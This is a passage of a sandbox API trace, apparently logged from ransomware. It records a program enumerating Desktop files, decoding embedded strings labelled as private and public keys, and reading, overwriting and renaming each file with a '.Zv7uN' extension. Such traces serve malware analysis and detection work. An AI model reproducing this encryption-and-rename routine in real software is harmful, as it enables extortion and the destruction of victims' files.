dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="pjTOi.m4a", cAlternateFileName="")) returned 1 [0127.409] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0127.409] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0127.409] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\pjTOi.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\pjtoi.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bbb76b0, ftCreationTime.dwHighDateTime=0x1d5e7f2, ftLastAccessTime.dwLowDateTime=0x46afa6a0, ftLastAccessTime.dwHighDateTime=0x1d5e53d, ftLastWriteTime.dwLowDateTime=0x46afa6a0, ftLastWriteTime.dwHighDateTime=0x1d5e53d, nFileSizeHigh=0x0, nFileSizeLow=0x18c5f)) returned 1 [0127.409] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\pjTOi.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\pjtoi.m4a")) returned 0x20 [0127.409] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\pjTOi.m4a", dwFileAttributes=0x80) returned 1 [0127.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.413] GetCurrentThreadId () returned 0xa30 [0127.413] GetCurrentThreadId () returned 0xa30 [0127.413] GetCurrentThreadId () returned 0xa30 [0127.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.414] GetCurrentThreadId () returned 0xa30 [0127.414] GetCurrentThreadId () returned 0xa30 [0127.414] GetCurrentThreadId () returned 0xa30 [0127.414] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\pjTOi.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\pjtoi.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0127.414] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0127.414] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0127.414] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x18c5f [0127.414] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0127.414] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x18c5f, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f3d4*=0x18c5f, lpOverlapped=0x0) returned 1 [0127.417] CloseHandle (hObject=0x1e8) returned 1 [0127.419] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\pjTOi.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\pjtoi.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0127.423] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f41460*, nNumberOfBytesToWrite=0x18c5f, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f41460*, lpNumberOfBytesWritten=0x18f3e0*=0x18c5f, lpOverlapped=0x0) returned 1 [0127.463] CloseHandle (hObject=0x1e8) returned 1 [0127.464] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\pjTOi.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\pjtoi.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\pjTOi.m4a.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\pjtoi.m4a.zv7un")) returned 1 [0127.465] GetCurrentThreadId () returned 0xa30 [0127.465] GetCurrentThreadId () returned 0xa30 [0127.465] GetCurrentThreadId () returned 0xa30 [0127.465] GetCurrentThreadId () returned 0xa30 [0127.465] GetCurrentThreadId () returned 0xa30 [0127.465] GetCurrentThreadId () returned 0xa30 [0127.465] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad316a0, ftCreationTime.dwHighDateTime=0x1d5e74f, ftLastAccessTime.dwLowDateTime=0x674b2dc0, ftLastAccessTime.dwHighDateTime=0x1d5e232, ftLastWriteTime.dwLowDateTime=0x674b2dc0, ftLastWriteTime.dwHighDateTime=0x1d5e232, nFileSizeHigh=0x0, nFileSizeLow=0x5aba, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="sXOzIu2 q.docx", cAlternateFileName="SXOZIU~1.DOC")) returned 1 [0127.465] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0127.465] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0127.465] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\sXOzIu2 q.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\sxoziu2 q.docx"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad316a0, ftCreationTime.dwHighDateTime=0x1d5e74f, ftLastAccessTime.dwLowDateTime=0x674b2dc0, ftLastAccessTime.dwHighDateTime=0x1d5e232, ftLastWriteTime.dwLowDateTime=0x674b2dc0, ftLastWriteTime.dwHighDateTime=0x1d5e232, nFileSizeHigh=0x0, nFileSizeLow=0x5aba)) returned 1 [0127.465] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\sXOzIu2 q.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\sxoziu2 q.docx")) returned 0x20 [0127.466] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\sXOzIu2 q.docx", dwFileAttributes=0x80) returned 1 [0127.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w